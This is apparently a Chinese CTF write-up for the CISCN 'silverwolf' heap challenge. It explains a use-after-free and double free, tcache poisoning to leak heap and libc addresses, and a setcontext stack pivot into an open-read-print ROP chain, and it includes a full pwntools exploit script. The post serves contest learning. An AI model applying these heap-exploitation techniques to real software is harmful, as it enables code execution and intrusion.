Loading... 这次 CISCN 可以说是没参赛,只做了分数最低的 pwny,最后 realloc 调 one_gadget 栈的工作也不是我做的(一方面嫌烦另一方面刚准备调学长已经把 exp 写好了)。那题其实就是个脑洞题,没什么难度。channel 还没看,大概就是一个 UAF 和 arm 加 qemu-user 运行免去 leak 的题,之后看心情复现一下吧(arm 的调试仍然不是很会,还需要多学习)。 lonelywolf 和 silverwolf 两题类似,后者开启了 seccomp,只能 orw。前面那题我就不复现了,仅复现 silverwolf。 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/05/2640684599.png "></div> 漏洞点很简单,就是一个指针未置零造成的 UAF 和 double free。 做法就是首先乱搞一通 leak 出堆地址(直接申请释放输出就可以 leak 了)。 然后通过 tcache poisoning 分配一个 chunk 到较大(大于 0x80)的 tcache chunk 上,然后做多次 double free,直到溢出到 unsorted bin 中,然后就可以 leak 出 libc 基址。 最后通过 setcontext 栈迁移做 rop 实现 orw。关于 setcontext 栈迁移的方法可见[此文](https://www.cjovi.icu/pwnreview/1294.html),注意 libc-2.27 下 setcontext 使用的寻址寄存器为 rdi,可以直接通过 free 触发 __free_hook 触发。 ### exp ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context.terminal = ["tmux","splitw","-h"] #context.log_level = "debug" sh = process("./silverwolf") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") def alloc(index,size): sh.sendlineafter("choice: ",'1') sh.sendlineafter("Index: ",str(index)) sh.sendlineafter("Size: ",str(size)) def edit(index,payload): sh.sendlineafter("choice: ",'2') sh.sendlineafter("Index: ",str(index)) sh.sendafter("Content: ",payload) def show(index): sh.sendlineafter("choice: ",'3') sh.sendlineafter("Index: ",str(index)) def delete(index): sh.sendlineafter("choice: ",'4') sh.sendlineafter("Index: ",str(index)) for i in range(12): alloc(0,0x18) alloc(0,0x58) alloc(0,0x78) delete(0) show(0) sh.recvuntil("Content: ") heap_addr = u64(sh.recv(6).ljust(0x8,'\x00')) - 0x1170 log.success("heap_addr: " + hex(heap_addr)) alloc(0,0x18) delete(0) edit(0,p64(heap_addr + 0xa90) + '\n') alloc(0,0x18) alloc(0,0x18) for i in range(4): edit(0,p64(0) * 2 + '\n') delete(0) edit(0,p64(0 * 2) + '\n') delete(0) show(0) sh.recvuntil("Content: ") libc_base = u64(sh.recv(6).ljust(0x8,'\x00')) - 0x10 - libc.sym["__malloc_hook"] - 96 log.success("libc_base: " + hex(libc_base)) free_hook = libc_base + libc.sym["__free_hook"] setcontext = libc_base + libc.sym["setcontext"] pop_rdi_ret = libc_base + 0x215bf pop_rsi_ret = libc_base + 0x23eea pop_rdx_ret = libc_base + 0x1b96 pop_rax_ret = libc_base + 0x43ae8 pop_rsp_ret = libc_base + 0x3960 flag_str_addr = heap_addr + 0x1170 syscall_ret = libc_base + 0xd2745 open_chain = p64(pop_rdi_ret) + p64(flag_str_addr) open_chain += p64(pop_rax_ret) + p64(2) + p64(syscall_ret) read_chain = p64(pop_rdi_ret) + p64(3) read_chain += p64(pop_rsi_ret) + p64(heap_addr) read_chain += p64(pop_rdx_ret) + p64(0x40) + p64(libc.sym["read"] + libc_base) # read puts_chain = p64(pop_rdi_ret) + p64(heap_addr) puts_chain += p64(libc.sym["puts"] + libc_base) # puts orw_chain = open_chain + read_chain + puts_chain alloc(0,0x78) edit(0,orw_chain) # 0xE50 alloc(0,0x78) edit(0,'./flag\x00' + '\n') # 0x1170 for i in range(4): alloc(0,0x78) for i in range(6): alloc(0,0x68) alloc(0,0x68) edit(0,p64(heap_addr + 0xE50 + 8) + p64(pop_rdi_ret) + '\n') alloc(0,0x20) delete(0) edit(0,p64(free_hook) + '\n') alloc(0,0x20) alloc(0,0x20) edit(0,p64(setcontext + 0x35) + '\n') alloc(0,0x78) delete(0) sh.interactive() ``` ### 后记 一开始其实没有想到分配到较大的 tcache chunk 的做法,使用的是通过 malloc_consolidate leak 的方法,这样也可以 leak 出 libc 基址。具体做法为通过多次申请 chunk(申请 0x78 大小的堆块一千多次)耗尽 top_chunk,然后触发 small request 的 malloc_consolidate ```cpp /* When we are using atomic ops to free fast chunks we can get here for all block sizes. */ else if (atomic_load_relaxed (&av->have_fastchunks)) { malloc_consolidate (av); /* restore original bin index */ if (in_smallbin_range (nb)) idx = smallbin_index (nb); else idx = largebin_index (nb); } ``` 也就是这里,通过此流程会使 fastbin 中的 chunk 都经过一次 unsorted bin,可以 leak。不过由于 top_chunk 被耗尽,又 brk 等系统调用被禁用,无法再分配 chunk,会导致 orw_chain 难以布置,我没有再费力思考,总之这里不是很适合用这种方法 leak。 最后修改:2021 年 05 月 19 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧